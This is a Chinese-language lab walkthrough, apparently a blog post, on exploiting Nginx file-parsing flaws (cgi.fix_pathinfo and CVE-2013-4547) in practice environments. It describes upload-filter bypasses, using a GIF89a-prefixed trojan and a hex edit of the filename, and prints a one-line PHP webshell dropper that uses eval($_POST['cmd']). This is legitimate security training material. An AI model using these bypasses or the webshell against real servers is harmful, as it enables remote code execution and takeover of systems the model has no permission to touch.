一.nginx_parsing
原理:这个解析漏洞其实是PHP CGI的漏洞,在PHP的配置⽂件中有⼀个关键的选项cgi.fix_pathinfo默认是开启的,当URL中有不存在的⽂件,PHP就会向前递归解析。在⼀个⽂件/xx.jpg后⾯加上/.php会将 /xx.jpg/xx.php 解析为 php ⽂件。
利用条件:
1.Nginx <=0.8.37
2.cgi.fix_pathinfo=1
Nginx的⽂件解析漏洞...和IIS7.0的解析漏洞同样的原理,因为 cgi.fix_pathinfo=1 造成的解析漏洞...
打开我们的nginx_parsing靶场

创建一个名为1.php的木马文件上传,我们发现上传失败

他说让我们上传一个图片,那我们把他的名字改为1.jpg并且将内容写成
GIF89a开头的木马文件

再上传,发现上传成功了

我们在访问后面这串加上/.php

检查一下是否写入成功

写入成功
二.CVE-2013-4547
原理:此漏洞为⽂件名逻辑漏洞,该漏洞在上传图⽚时,修改其16进制编码可使其绕过策略,导致解析为php。 当Nginx得到⼀个⽤户请求时,⾸先对url进⾏解析,进⾏正则匹配,如果匹配到以.php后缀结尾的⽂件名,会将请求的PHP⽂件交给PHP-CGI去解析。
影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
打开我们的CVE-2013-4547靶场

https://img-home.csdnimg.cn/images/20230724024159.png?origin_url=https%3A%2F%2Fimg-home.csdnimg.cn%2Fimages%2F20230724024159.png%3Forigin_url%3D%25E3%2580%2581%26pos_id%3DdWqOjIqy&pos_id=dWqOjIqy
创建一个名为1.jpg的文件,里面输入<?php phphinfo(); ?>,上传抓包

在3.jpg后面加上两个空格再加上一个.php

再换到HEX中,找到1.jpg这里,将2020改成2000

放行

上传成功,访问一下我们的文件,删除一个g,再抓包


将3.jp后面补全写上两个空格加上.php

换到HEX,找到3.jpg .php那一栏,把2020改成2000,放行


也可以用下面这个php语言写在3.jpg
<?php fputs(fopen("shell.php","w"),'<?php eval($_POST["cmd"]);?>')?>
生成一个shell.php的木马文件,去访问shell.php来连接蚁剑
